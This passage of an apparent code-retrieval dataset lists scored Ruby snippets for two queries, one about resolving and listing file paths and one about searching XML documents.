"score": "0.5700729",
"text": "def test_files\n get_folder_files(TESTS_PATH)\n end",
"title": ""
},
{
"docid": "cd70e7b7f27f432e3bf1527e628af61e",
"score": "0.56885624",
"text": "def resolve_files(path)\n path = File.expand_path(path, __FILE__)\n\n if File::directory? path\n files = Dir.entries(path).reject! {|s| s =~ /^\\./} # don't include dotfiles\n files.map! {|file| File.join(path, file)}\n files = files.sort_by {|filename| File.size(File.expand_path(filename, path)) }\n else\n files = [path]\n end\n\n files.reject! {|file| File::directory? file}\n\n files\n end",
"title": ""
},
{
"docid": "87a41383262f56aa11a53e1356f468e9",
"score": "0.56814563",
"text": "def in_dest_dir(*paths); end",
"title": ""
},
{
"docid": "1af05b455747b8c69cf4bc8da33b0913",
"score": "0.5661633",
"text": "def resolve_paths\n [dataset_dir, parent.dataset_dir]\n end",
"title": ""
},
{
"docid": "d511b28e771ee25f9262f5f8d39a5c60",
"score": "0.5653211",
"text": "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end",
"title": ""
},
{
"docid": "89430d3cf80446ffc691d6522d773fb8",
"score": "0.5647661",
"text": "def possible_files(context, path, base_path)\n path = Pathname.new(path)\n base_path = Pathname.new(base_path).dirname\n paths = [ path, partialize_path(path) ]\n\n # Find base_path's root\n env_root_paths = context.environment.paths.map {|p| Pathname.new(p) }\n root_path = env_root_paths.detect do |env_root_path|\n base_path.to_s.start_with?(env_root_path.to_s)\n end\n root_path ||= Pathname.new(context.root_path)\n\n # Add the relative path from the root, if necessary\n if path.relative? && base_path != root_path\n relative_path = base_path.relative_path_from(root_path).join path\n paths.unshift(relative_path, partialize_path(relative_path))\n end\n\n paths.compact\n end",
"title": ""
},
{
"docid": "2580a1394106e5172744c532d7bfe574",
"score": "0.56409043",
"text": "def files(uri)\n [].tap do |ary|\n ary.concat Dir[uri]\n search_paths.each { |p| ary.concat Dir[File.join p, uri] }\n end\n end",
"title": ""
},
{
"docid": "35dc343741e4dfc98fa5add0e0fdf1a7",
"score": "0.5624818",
"text": "def expand_all path\n real_path = VirtualLayer.realpath(path)\n elems = real_path.split('/'); elems.shift # throw away the first element which is empty for a FQ pathname\n if path[-1] == '/'\n filt_fn = ->(p) { VirtualLayer.directory?(p) }\n else\n filt_fn = ->(p) { p }\n end\n result = rejoin(walk_globs(elems)).flatten.select(&filt_fn).sort\n\n if path[0] == '/'\n result\n else\n cwd = VirtualLayer.pwd\n result.map {|p| p[(cwd.length+1)..] }\n end\nend",
"title": ""
},
{
"docid": "35ddff36dcfb2138368379a7df33950d",
"score": "0.5624028",
"text": "def expanded_seed_paths(seed_paths)\n seed_paths.collect { |path|\n if FileTest.directory?(path)\n binaries_in_directory(path)\n else\n path\n end\n }.flatten\nend",
"title": ""
},
{
"docid": "d09e5574a662294634f122113e5fff53",
"score": "0.5617591",
"text": "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end",
"title": ""
},
{
"docid": "55b2da70833a25f775808c396e4967aa",
"score": "0.56160057",
"text": "def set_entries_for_path(path, directories, files)\r\n files_and_directories = directories.concat files\r\n fake_entries = [\".\", \"..\"].concat files_and_directories\r\n\r\n stub = Dir.stub!(:foreach)\r\n stub = Dir.should_receive(:foreach).with(path).at_least(:once)\r\n fake_entries.each { |e| stub.and_yield(e) }\r\n\r\n directories.each do |entry| \r\n stub_is_file(path, entry, false)\r\n end\r\n\r\n files.each do |entry| \r\n stub_is_file(path, entry, true)\r\n end\r\nend",
"title": ""
},
{
"docid": "5660dc67c904f21e834bc5586a39e07a",
"score": "0.5613908",
"text": "def test_list(path)\n if File.basename(path) =~ /^\\W/\n [] # skip .hiddens and such\n elsif File.directory?(path) then\n puts \"Looking for tests in #{path}\"\n Dir.entries(path).\n collect { |entry| test_list(File.join(path,entry)) }.\n flatten.\n compact\n elsif path =~ /\\.rb$/\n puts \"Found #{path}\"\n [path]\n #[path[/\\S+\\/(\\S+)$/,1]]\n end\nend",
"title": ""
},
{
"docid": "c7ccc43413a502e355e060508249b346",
"score": "0.56092346",
"text": "def get_all_reference_paths2(path, source, context, visited_paths = Set.new, &block)\n visited_paths << path\n source ||= File.read(path)\n source.each_line do |l|\n next unless l.start_with?('///') && !(m = %r{^///\\s*<reference\\s+path=(?:\"([^\"]+)\"|'([^']+)')\\s*/>\\s*}.match(l)).nil?\n matched_path = m.captures.compact[0]\n if matched_path.start_with? '.'\n abs_matched_path = File.expand_path(matched_path, File.dirname(path))\n puts \"Working with relative file reference (#{matched_path}) which resolves to: #{abs_matched_path}\" if @@options[:logging]\n else\n abs_matched_path = File.expand_path(URI.parse(context.resolve(matched_path)).path)\n puts \"Working with absolute file reference (#{matched_path}) which resolves to: #{abs_matched_path}\" if @@options[:logging]\n end\n\n unless visited_paths.include? abs_matched_path\n yield abs_matched_path\n get_all_reference_paths2(abs_matched_path, nil, context, visited_paths, &block)\n end\n end\n end",
"title": ""
},
{
"docid": "86d82fc90ae5e20d523adeb548e017f8",
"score": "0.5607972",
"text": "def find\r\n scanner = DirectoryScanner.new\r\n scanner.setBasedir(@context.root)\r\n scanner.setCaseSensitive(false)\r\n scanner.setIncludes(@includes.to_java :String) unless @includes.empty?\r\n scanner.setExcludes(@excludes.to_java :String) unless @excludes.empty?\r\n scanner.scan\r\n scanner.included_files.collect{|f| @context.filepath_from_root(f) }\r\n end",
"title": ""
},
{
"docid": "d462b9b09948deb61f404716f1b96aa4",
"score": "0.56078774",
"text": "def pull_dependencies(filepath, search_paths=[], depth=1, checked=[])\n if depth > 32\n raise \"We've gone too deep, Captain!\"\n end\n\n abs_path = File.absolute_path(filepath)\n return [] if checked.include?(abs_path) && depth != 0\n checked << abs_path\n\n dir = File.dirname(filepath)\n deps = []\n \n raise \"File does not exist\" unless File.exists?(filepath) && ! File.directory?(filepath)\n\n File.open(filepath, \"r\") {\n |ios|\n ios.each_line {\n |line|\n if (line =~ INCLUDE_FILE)\n scope = $1\n incl_path = $2\n if scope == '<' # search\n found = false\n\n search_paths.each {\n |search_path|\n check_path = \"#{search_path}/#{incl_path}\"\n # puts \"Checking for <#{check_path}>\"\n if File.exists?(check_path) && ! File.directory?(check_path)\n deps << check_path\n deps |= pull_dependencies(check_path, search_paths, depth + 1, checked)\n found = true\n break\n end\n }\n\n if ! found\n # puts \"Unable to locate <#{incl_path}>\"\n end\n\n elsif scope === '\"' # relative\n check_path = \"#{dir}/#{incl_path}\"\n # puts \"Checking for \\\"#{check_path}\\\"\"\n if File.exists?(check_path) && ! File.directory?(check_path)\n deps << check_path\n deps |= pull_dependencies(check_path, search_paths, depth + 1, checked)\n else\n # puts \"Unable to locate \\\"#{incl_path}\\\"\"\n end\n end\n end\n\n }\n }\n\n return deps\nend",
"title": ""
},
{
"docid": "d1f4ada0a6c0edf7bd178b8c59d85c30",
"score": "0.5603117",
"text": "def matches_for_glob(glob) # TODO: rename?\n glob = File.join(self.lib_dirs_glob, glob)\n\n Dir[glob].map {|f| f.tap(&Gem::UNTAINT) } # FIX our tests are broken, run w/ SAFE=1\n end",
"title": ""
},
{
"docid": "e95f3d2435f042aab3e3188441528ae4",
"score": "0.55992156",
"text": "def resolve\n if !refs.nil? and refs.select { |ref| File.file? ref }.any?\n paths = refs.select { |ref| File.file? ref }.map { |path| File.expand_path(path) }\n elsif refs and refs.kind_of? Array\n paths, gems = GemsResolver.new(refs).call\n else\n paths = Dir.glob(File.join(\".\", \"lib/**/*.rb\")).map { |path| File.expand_path(path) }\n end\n\n { paths: paths, gems: gems || [] }\n end",
"title": ""
},
{
"docid": "122c29da9a11fa217f6f54e3268f3fa1",
"score": "0.559295",
"text": "def glob(pattern)\n root = self.root\n Pathname.glob(root.join(pattern)).map do |match|\n match.relative_path_from(root).to_s\n end\n end",
"title": ""
},
{
"docid": "e9b99d743efacf3f2d1bb70c226cfde6",
"score": "0.55899817",
"text": "def run_all_tests(match_patterns = nil)\n run_tests(config.file_sets[\"all\"], match_patterns)\n end",
"title": ""
},
{
"docid": "ae4662e66f5e2be2eaa42ed79a25b1c3",
"score": "0.55848753",
"text": "def possible_paths_for(mappings)\n root_mappings.map{|root|\n mappings.first.map{|inner|\n mappings.last.map{|outer|\n ::File.join(root, inner, outer, '/') }}}.flatten\n end",
"title": ""
},
{
"docid": "0b469b7726a3aef8c387c50869625f03",
"score": "0.5581496",
"text": "def files( env )\n return env[:files] if env.include? :files\n raise(ArgumentError, \"env hash must include either :files or :path\") unless env.include? :path\n\n file_glob = self.class.class_eval { @file_pattern } || '*'\n Dir.glob(File.join(env[:path], '**', file_glob))\n end",
"title": ""
},
{
"docid": "bc8d645c6b3f0c11d8c24fecd320d453",
"score": "0.55786586",
"text": "def lookup(*files, **options)\n result = possible_paths(*files, **options).detect { |file| file.exist? }\n block_given? ? yield(result) : result if result\n end",
"title": ""
},
{
"docid": "8df10985ccca4617fe61c38c114aeb6c",
"score": "0.556902",
"text": "def find_files(block)\n files = []\n block.scan(URL_PATTERN).each do |attribute, path|\n if !URI.parse(path).absolute?\n resource = create_resource_file(attribute, path)\n files << resource if resource\n end\n end\n files\n end",
"title": ""
},
{
"docid": "b9057e0b83615b4bb1e5f9e4a8bfdf30",
"score": "0.5568212",
"text": "def file_paths\n src_file_mask = File.join(@folder_path, '**', '*.c')\n @file_paths = Dir.glob(src_file_mask)\n return @file_paths\n end",
"title": ""
},
{
"docid": "53ad71d73376aa25416fbedd34dd34d2",
"score": "0.5563367",
"text": "def glob_data_paths(pattern,&block)\n return enum_for(:glob_data_paths,pattern).to_a unless block_given?\n\n DataPaths.paths.each do |path|\n Dir.glob(File.join(path,pattern),&block)\n end\n end",
"title": ""
},
{
"docid": "9a094df8077d6d5a10b28818cf76e9a3",
"score": "0.556157",
"text": "def mungle_paths(paths)\n return paths if terraform.pre_0_12?\n\n paths.map do |path|\n File.directory?(path) ? path : File.dirname(path)\n end.uniq\n end",
"title": ""
},
{
"docid": "c1ed3b96a686ddaa4fb90af3b7ba7813",
"score": "0.55604315",
"text": "def find_files()\n require 'find'\n directory = File.dirname(__FILE__) + '/../templates/' + @template\n @files = Array.new()\n Find.find(directory) do |f|\n if FileTest.file?f\n @files.push(f)\n end\n end\n @files\n end",
"title": ""
},
{
"docid": "9ac4e667994f7f8734172c45f11dba22",
"score": "0.5558592",
"text": "def find_includes include_dirs, src\r\n includes = Rake::CParser.parse_file_includes src\r\n res = includes.collect { |inc|\r\n search_includes include_dirs, src, inc\r\n }\r\n res.compact\r\n end",
"title": ""
},
{
"docid": "4e395ada0bf8dc615abf945e6c39a36c",
"score": "0.5539779",
"text": "def make_sources(task_name, task_pattern, extensions)\n result = extensions.map { |ext|\n case ext\n when /%/\n task_name.pathmap(ext)\n when %r{/}\n ext\n when /^\\./\n source = task_name.sub(task_pattern, ext)\n source == ext ? task_name.ext(ext) : source\n when String, Symbol\n ext.to_s\n when Proc, Method\n if ext.arity == 1\n ext.call(task_name)\n else\n ext.call\n end\n else\n fail \"Don't know how to handle rule dependent: #{ext.inspect}\"\n end\n }\n result.flatten\n end",
"title": ""
},
{
"docid": "d16f136c55008e6b996e348f95ed51c8",
"score": "0.55388457",
"text": "def possible_files(path, base_path)\n path = Pathname.new(path)\n base_path = Pathname.new(base_path).dirname\n root_path = Pathname.new(context.root_path)\n paths = [ path, partialize_path(path) ]\n\n # Add the relative path from the root, if necessary\n if path.relative? && base_path != root_path && path.to_s !~ /\\A\\.\\//\n relative_path = base_path.relative_path_from(root_path).join path\n \n paths.unshift(relative_path, partialize_path(relative_path))\n end\n\n paths.compact\n end",
"title": ""
},
{
"docid": "9f456bee6798d34900084f168d424c5f",
"score": "0.5536779",
"text": "def _resolve(file)\n imported_path = nil\n\n IO.foreach(file) do |line|\n # Implementing subclasses may throw :done from the parse method when\n # the file is exhausted for dependency declaration possibilities.\n catch(:done) do\n imported_path = parse(line, imported_path)\n\n # If a dependency declaration was found\n if imported_path\n # Resolves a path relative to the file that imported it\n imported_path = resolve_path(imported_path, file)\n\n if File.directory?(imported_path)\n imported_files = Dir.glob(File.join(imported_path, \"**\", \"*#{extension}\"))\n else\n imported_files = [imported_path]\n end\n\n imported_files.each do |imported_file|\n # Only keep processing file if it's not already included.\n # Yield to block to allow caller to ignore file\n if [email protected]?(imported_file) && (!block_given? || yield(imported_file))\n # Check this file for imports before adding it to get order right\n _resolve(imported_file) { |f| f != File.expand_path(file) }\n end\n end\n end\n end\n end\n\n file = File.expand_path(file)\n @files << file if [email protected]?(file) && (!block_given? || yield(file))\n end",
"title": ""
},
{
"docid": "d241c6b69fb5b12ac194e706c35fc5c3",
"score": "0.5536413",
"text": "def resolve_all(path, options = {}, &block)\n return to_enum(__method__, path, options) unless block_given?\n path = path.to_s\n\n # TODO: Review performance\n name, extname, _ = parse_path_extnames(path)\n format_content_type = mime_types[extname]\n content_type = options[:content_type] || format_content_type\n\n if format_content_type && format_content_type != content_type\n return\n end\n\n if absolute_path?(path)\n resolve_absolute_path(path, name, extname, content_type, &block)\n else\n resolve_all_logical_paths(name, extname, content_type, &block)\n end\n\n nil\n end",
"title": ""
},
{
"docid": "6aa3307cfa644b08da8a20814bcbf41a",
"score": "0.5535218",
"text": "def matcher_pathes_from(node, pathes = nil)\n pathes ||= []\n if not node.children.blank?\n node.children.each do |sub_node|\n matcher_pathes_from(sub_node, pathes)\n end\n else\n pathes << relative_path(node.parent.path)\n end\n pathes\n end",
"title": ""
},
{
"docid": "b001acc0a298a980eda8bb0c4c8b242b",
"score": "0.5532852",
"text": "def find_files(*file_patterns)\n FileFinder.new.version(self).files(file_patterns)\n end",
"title": ""
},
{
"docid": "ba8244660d2e90e2bd371e744d63e152",
"score": "0.5530489",
"text": "def files_list(path_list: '', name_list: '')\n # Check\n path_list = [path_list] if path_list.class == String # transform String in Array\n name_list = [name_list] if name_list.class == String # transform String in Array\n path_list.uniq! # Remove duplicate\n name_list.uniq! # Remove duplicate\n (@log.fatal {'FileManager.files_list() : no path given'}; exit ) if :path_list.size == 0\n (@log.fatal {'FileManager.files_list() : no file list given'}; exit ) if :name_list.size == 0\n # Init\n file_array = []\n # Create the list\n for path in path_list\n for file in name_list\n files = Dir.glob(path + '/' + file)\n file_array = file_array + files\n @log.info {\" FileManager search for \\\"#{path}/#{file}\\\" => found : #{Dir.glob(path + '/' + file).size} file(s)\"}\n end\n end\n # Something wrong ?\n if file_array.size == 0\n @log.fatal {\"FileManager : no Input Files found by files_list().path_list : #{path_list.to_s} name_list #{name_list.to_s}\"}; exit\n else\n return file_array\n end\n end",
"title": ""
},
{
"docid": "b9ea5d95cd074f1cc7e651e1063f328b",
"score": "0.5528296",
"text": "def read patterns\n Dir[*patterns].uniq.map do |f|\n filename = File.join(Dir.pwd, f)\n\n @files ||= []; @files << filename\n STDERR.puts filename\n\n case File.extname(filename)\n when '.erb'\n Dir.chdir File.dirname(filename) do\n ERB.new(File.read(File.basename(filename))).result(binding)\n end\n else\n File.read filename\n end\n end.join(\"\\n\")\nend",
"title": ""
},
{
"docid": "cb4bcfa9bc99119ff7cd2632adec39b5",
"score": "0.5526748",
"text": "def get_relative_paths(paths)\n paths.collect do |p|\n get_relative_path(p)\n end\n end",
"title": ""
},
{
"docid": "9c5a4ac55479c9a4d9d2ae405c53b6c2",
"score": "0.5513104",
"text": "def addSrcFilesByRE(re)\n Dir.for_each(@srcDir) { |f|\n next if File.stat(f).dir?\n @files << f if re =~ f\n }\n end",
"title": ""
},
{
"docid": "9a872477a547e990d842e7d52b5f1ab9",
"score": "0.5508299",
"text": "def resolve_paths(loaders)\n mod_resolver = loaders.instance_variable_get(:@module_resolver)\n all_mods = mod_resolver.instance_variable_get(:@all_module_loaders)\n end",
"title": ""
},
{
"docid": "3adc04b452c733da35157c07b18c2918",
"score": "0.5502475",
"text": "def expanded\n raise \"You need to set a path root\" unless @root.path\n result = []\n\n each do |path|\n path = File.expand_path(path, @root.path)\n\n if @glob && File.directory?(path)\n result.concat files_in(path)\n else\n result << path\n end\n end\n\n result.uniq!\n result\n end",
"title": ""
},
{
"docid": "f206239e4975951b069d44a990a6f0d2",
"score": "0.5498083",
"text": "def files_in_path\n Dir.glob(\"#{@path}/**/*/**\") | Dir.glob(\"#{@path}/**\")\n end",
"title": ""
},
{
"docid": "0fd814cc034feae38d5b06579f61a697",
"score": "0.5497094",
"text": "def find_files(recusive,sort)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n files = [] \n if File.directory? sort\n Find.find(sort) do |path|\n next if File.dirname(path) != sort and not recusive\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if path !~ /#{ext_list}$/\n files << path\n end\n else\n log(\"error: source directory of \\\"#{sort}\\\" does not exist!\")\n exit 2\n end\n files\nend",
"title": ""
},
{
"docid": "5a97a280eee0687b362838048fc5396e",
"score": "0.54959565",
"text": "def [] files\n # This stores all our matches\n match_hash = {}\n\n # Go through each file, check if the file basename matches the regexp.\n files.each do |f|\n path, file = File.split(f)\n\n if (m = match_against(file))\n replacement = populate_based_on(m)\n match_hash[f] = if path == '.'\n replacement\n else\n File.join(path, replacement)\n end\n end\n end\n match_hash\n end",
"title": ""
},
{
"docid": "d2b74448bac1eff675ce70d1c586d134",
"score": "0.5494545",
"text": "def load(pattern=nil)\n tests = []\n\n # Find all tests in the tests directory\n Find.find @@conf.test_root do |path|\n # recurse into all subdirectories\n next if File.directory? path\n\n # filter tests by pattern if present\n if pattern\n next unless rel_path(path).match(pattern)\n end\n\n # ignore dotfiles\n next if File.basename(path).match(/^\\..*/)\n\n # ignore files in ignore filter\n next if ignored?(path)\n\n tests << Test.new(path)\n end\n\n return tests\n end",
"title": ""
},
{
"docid": "15ab9e72e0a0f63f10a3fe4ee53eea1b",
"score": "0.5491384",
"text": "def normalized_file_list(options, relative_files, force_doc = false, exclude_pattern=nil)\n file_list = []\n\n relative_files.each do |rel_file_name|\n next if exclude_pattern && exclude_pattern =~ rel_file_name\n case type = File.stat(rel_file_name).ftype\n when \"file\"\n file_list << rel_file_name.sub(/^\\.\\//, '') if force_doc || ParserFactory.can_parse(rel_file_name)\n when \"directory\"\n next if rel_file_name == \"CVS\" || rel_file_name == \".svn\"\n dot_doc = File.join(rel_file_name, DOT_DOC_FILENAME)\n if File.file?(dot_doc)\n file_list.concat(parse_dot_doc_file(rel_file_name, dot_doc, options))\n else\n file_list.concat(list_files_in_directory(rel_file_name, options))\n end\n else\n raise RDocError.new(\"I can't deal with a #{type} #{rel_file_name}\")\n end\n end\n file_list\n end",
"title": ""
},
{
"docid": "50ee6f0db5029504ac8f6fff0aeb11f7",
"score": "0.5487612",
"text": "def scan_dirs\n @scan_files = Array.new\n Dir.entries(@scan_dir).each do |scan|\n next if File.directory?(@scan_dir + '/' + scan)\n @scan_files << @scan_dir + '/' + scan\n end\n end",
"title": ""
},
{
"docid": "68655a14c2cba965643930f32b60011b",
"score": "0.54854256",
"text": "def getFiles(dirs)\n files = []\n for dir in dirs\n # This is recursive...could use Dir.glob() for local lookups.\n Find.find(dir) do |path|\n files << path if goodPath(path)\n end\n end\n return files\nend",
"title": ""
}
] |
7f882e0b9aed7298681810106dd9e4e9
|
Search the XML document.
|
[
{
"docid": "0f45c2a5c0ff04f23ce55df73a848376",
"score": "0.0",
"text": "def state_from_xml(doc, resource, ch = nil)\n case REXML::XPath.first(doc, \"//datavalues/#{resource}#{ch}state\").text.to_i\n when 0\n s = \"off\"\n when 1\n s = \"on\"\n else\n s = \"unknown\"\n end\n return s\n rescue => e\n puts e.message\n return nil\n end",
"title": ""
}
] |
[
{
"docid": "a363f5866702e4ca5d8d10d9999748a9",
"score": "0.78108317",
"text": "def search_xml(search_path)\n\t\t\tself.artist_xml.search(search_path)\n\t\trescue Exception => e\n\t\t\tputs \"Error searching XML: #{e}\"\n\t\tend",
"title": ""
},
{
"docid": "a363f5866702e4ca5d8d10d9999748a9",
"score": "0.78108317",
"text": "def search_xml(search_path)\n\t\t\tself.artist_xml.search(search_path)\n\t\trescue Exception => e\n\t\t\tputs \"Error searching XML: #{e}\"\n\t\tend",
"title": ""
},
{
"docid": "4cbf066298907a4a44d656c42935e916",
"score": "0.75810593",
"text": "def search_xml(search_path)\n\t\t\tself.artist_xml.search(search_path) rescue \"\"\n\t\tend",
"title": ""
},
{
"docid": "a2f9b63653deb129d2a893302d34df94",
"score": "0.7079877",
"text": "def search(path)\n return xml_doc.search(path) if xml_doc.respond_to?(:search)\n \n # return something that acts like a dom element (nokogiri)\n x = \"\"\n class << x\n def inner_text; \"\"; end\n alias inner_html inner_text\n end\n x\n end",
"title": ""
},
{
"docid": "9a303c94f6cbb49e88e9fe39c02220c6",
"score": "0.69469064",
"text": "def xpath_search(path)\n\t\t\troot.xs(path)\n\t\tend",
"title": ""
},
{
"docid": "b6daf2eb688b1163c4862d570d0b5b9d",
"score": "0.67556536",
"text": "def search\n [@xml['folders'].map { |f| SearchResult.build_from_xml(f[1]) },\n @xml['files'].map { |f| SearchResult.build_from_xml(f[1]) }]\n end",
"title": ""
},
{
"docid": "fad2c3e24cfeab29e04a333286423b81",
"score": "0.6660926",
"text": "def xml_search_element(xml, path_str)\r\n #Search given xml using given string and return matching.\r\n element_xml = Nokogiri::XML.parse(xml).search(path_str)\r\n\r\n #retrieve given instance of search element body, if more than one found.\r\n $xmlelementbody = element_xml.to_a[0].to_xml\r\n end",
"title": ""
},
{
"docid": "c4612495fbd2d120ec47ac888e0a2a1c",
"score": "0.6617113",
"text": "def search_xml_for(body:, search:)\n xml = Nokogiri::XML body\n\n [].tap do |results|\n xml.namespaces.each_value do |v|\n results << xml.css(\"cs|#{search}\", 'cs': v)\n end\n end.flatten\n end",
"title": ""
},
{
"docid": "9119fa78b6bdcf2d18e5808b10e700e1",
"score": "0.65217614",
"text": "def search_document_xml(builder)\n builder.printf('<doc boost=\"%.2f\">', (boost || 1.0))\n search_document.each do |key, value|\n (value.kind_of?(Array) && value || [value]).each do |value|\n builder.printf('<field name=\"%s\">%s</field>', escapeXML(key), escapeXML(value)) unless value.blank?\n end\n end\n builder.printf(\"</doc>\")\n end",
"title": ""
},
{
"docid": "dfa246bd237534d14f835057a4c0e786",
"score": "0.64992225",
"text": "def search\n \n end",
"title": ""
},
{
"docid": "d6c581be8cafcba4dc33561c240e6ad2",
"score": "0.6403133",
"text": "def search(*args)\n options = args.extract_options!\n xml = fetch_and_parse(api_path(self.name, nil, :search, options[:search_mode] || :all, args.join(',')), options)\n return xml.search(self.name).collect{|elem| self.new(elem)}\n end",
"title": ""
},
{
"docid": "5f4a3156bdbc4793b6a99af7e33d25d6",
"score": "0.6373133",
"text": "def searches(ast)\n ast.xpath(\"//fcall/ident[@value = 'search']\")\n end",
"title": ""
},
{
"docid": "5b9eeaf9a752940fe49628d308370d5e",
"score": "0.6367616",
"text": "def search_elements_xml\n lambda { |xml|\n search_elements.each do |element|\n value = (send element) ? (send element) : default_search_elements[element]\n name = element.id2name.camelize\n\n next if soap_search_elements.exclude?(name) || value.nil?\n\n xml.send(name, value)\n end\n }\n end",
"title": ""
},
{
"docid": "1ede06ede7cfacc57b6edca1133305f2",
"score": "0.63447106",
"text": "def search(path)\n find_by_xpath(path) # rubocop:disable DynamicFindBy\n end",
"title": ""
},
{
"docid": "c7e73dbf48e7c9ba104018d6237a708f",
"score": "0.63034964",
"text": "def search_doc_from_activity_log\n search_doc\n end",
"title": ""
},
{
"docid": "1b6cb04ab9016f77a3e797b073f6c4ef",
"score": "0.6298898",
"text": "def content_search(namespace); end",
"title": ""
},
{
"docid": "1b6cb04ab9016f77a3e797b073f6c4ef",
"score": "0.6298898",
"text": "def content_search(namespace); end",
"title": ""
},
{
"docid": "f201f1c52e1af12977c2e6864c83c4ca",
"score": "0.628211",
"text": "def search(*paths)\n if doc\n doc.search(*paths)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "f201f1c52e1af12977c2e6864c83c4ca",
"score": "0.628211",
"text": "def search(*paths)\n if doc\n doc.search(*paths)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "f201f1c52e1af12977c2e6864c83c4ca",
"score": "0.628211",
"text": "def search(*paths)\n if doc\n doc.search(*paths)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "402063acfedde9b67a54263c209d7153",
"score": "0.6252205",
"text": "def search_xml(node)\n loan_file.xpath(\"//#{node}\")\n end",
"title": ""
},
{
"docid": "c7b471ffe37745ab09336446ae8be962",
"score": "0.624513",
"text": "def search\n \n end",
"title": ""
},
{
"docid": "c3a8754ae8fb54b86402686619374b58",
"score": "0.62279075",
"text": "def search_for_file(file)\n xml_doc = Nokogiri::XML(file)\n xml_doc.remove_namespaces!\n solr_document = indexer.map_record(xml_doc)\n query_by_id(id: solr_document[\"id\"])\n end",
"title": ""
},
{
"docid": "c3a8754ae8fb54b86402686619374b58",
"score": "0.62279075",
"text": "def search_for_file(file)\n xml_doc = Nokogiri::XML(file)\n xml_doc.remove_namespaces!\n solr_document = indexer.map_record(xml_doc)\n query_by_id(id: solr_document[\"id\"])\n end",
"title": ""
},
{
"docid": "00066d6b0ebc54b70ed0b5d2736cc1d8",
"score": "0.62038815",
"text": "def find(what, nslist = nil)\n what = what.to_s\n (self.doc ? super(what, nslist) : select { |i| i.element_name == what })\n end",
"title": ""
},
{
"docid": "00066d6b0ebc54b70ed0b5d2736cc1d8",
"score": "0.62038815",
"text": "def find(what, nslist = nil)\n what = what.to_s\n (self.doc ? super(what, nslist) : select { |i| i.element_name == what })\n end",
"title": ""
},
{
"docid": "5ba31f5479f2b669b756872c4b7a2eff",
"score": "0.6190164",
"text": "def look(search)\n\t@stations = @doc.xpath(\"//station[contains(name,'#{search}')]\")\n if @stations.blank? \n puts \"Doesnt look like anything was in there. Try again.\"\n else\n puts \"All loaded up!\"\n end\nend",
"title": ""
},
{
"docid": "9c3f40e4675de196badf1eb514439fd2",
"score": "0.6174395",
"text": "def search\n\t\t\n\tend",
"title": ""
},
{
"docid": "a231506fde4c32a1ccafe8b7bc3a493a",
"score": "0.6170211",
"text": "def search(node, val)\nend",
"title": ""
},
{
"docid": "995421bddaca674fd9a54549ad90f47a",
"score": "0.61411196",
"text": "def search\n @documents = api.form(\"everything\")\n .query(%([[:d = fulltext(document, \"#{params[:q]}\")]]))\n .submit(ref)\n end",
"title": ""
},
{
"docid": "5d362d7398060b2e4bdf170f23e62829",
"score": "0.61219937",
"text": "def search_criteria(xml)\n xml.__send__('ns2:ClientInfo') do\n xml.__send__('ns5:FirstName', 'lenovo')\n xml.__send__('ns5:Surname', 'hurlock')\n xml.__send__('ns5:DateOfBirth', '1969-01-01')\n end\n end",
"title": ""
},
{
"docid": "4981946a71d1cc5bf85332902db4a1fb",
"score": "0.6106409",
"text": "def find\n @doc = @ie.document\n @start = nil\n self\n end",
"title": ""
},
{
"docid": "b58659a92007e398459feef986568619",
"score": "0.6106047",
"text": "def search(fringe, root_node)\n # reimplement me!\n end",
"title": ""
},
{
"docid": "38e238bef783ca8e24175e4acc8c8fb5",
"score": "0.61001605",
"text": "def search\n\n end",
"title": ""
},
{
"docid": "b024e823dc356c1e58d708be5429fcd4",
"score": "0.60641146",
"text": "def find(conditions)\r\n @root.find(conditions)\r\n end",
"title": ""
},
{
"docid": "7a34ef0a92a64fc0af544a47d71be981",
"score": "0.6027082",
"text": "def _search(nodes)\r\n nodes.find_all{|node| __evalerate(node) }\r\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "49ef23333184c57caf551cbdd161ff1a",
"score": "0.6018413",
"text": "def search\n end",
"title": ""
},
{
"docid": "b29f0d520de1d029ea3ceb3aeaf82020",
"score": "0.60096514",
"text": "def search!(path, node = doc)\n node.search(path) or raise Error::NodeNotFound, \"node for `#{path}` not found\"\n end",
"title": ""
},
{
"docid": "c26a6513ccd3abca73d5c66d1505dab1",
"score": "0.60015017",
"text": "def search(find_val)\n preorder_search(@root, find_val)\n end",
"title": ""
},
{
"docid": "f7820d8d28de7a5e92d84d34dcbb5661",
"score": "0.5996318",
"text": "def search(value)\n return search_helper(@root, value) # use a helper method. This approach root from being exposed outside the class. (encapsulation)\n end",
"title": ""
},
{
"docid": "f7820d8d28de7a5e92d84d34dcbb5661",
"score": "0.5996318",
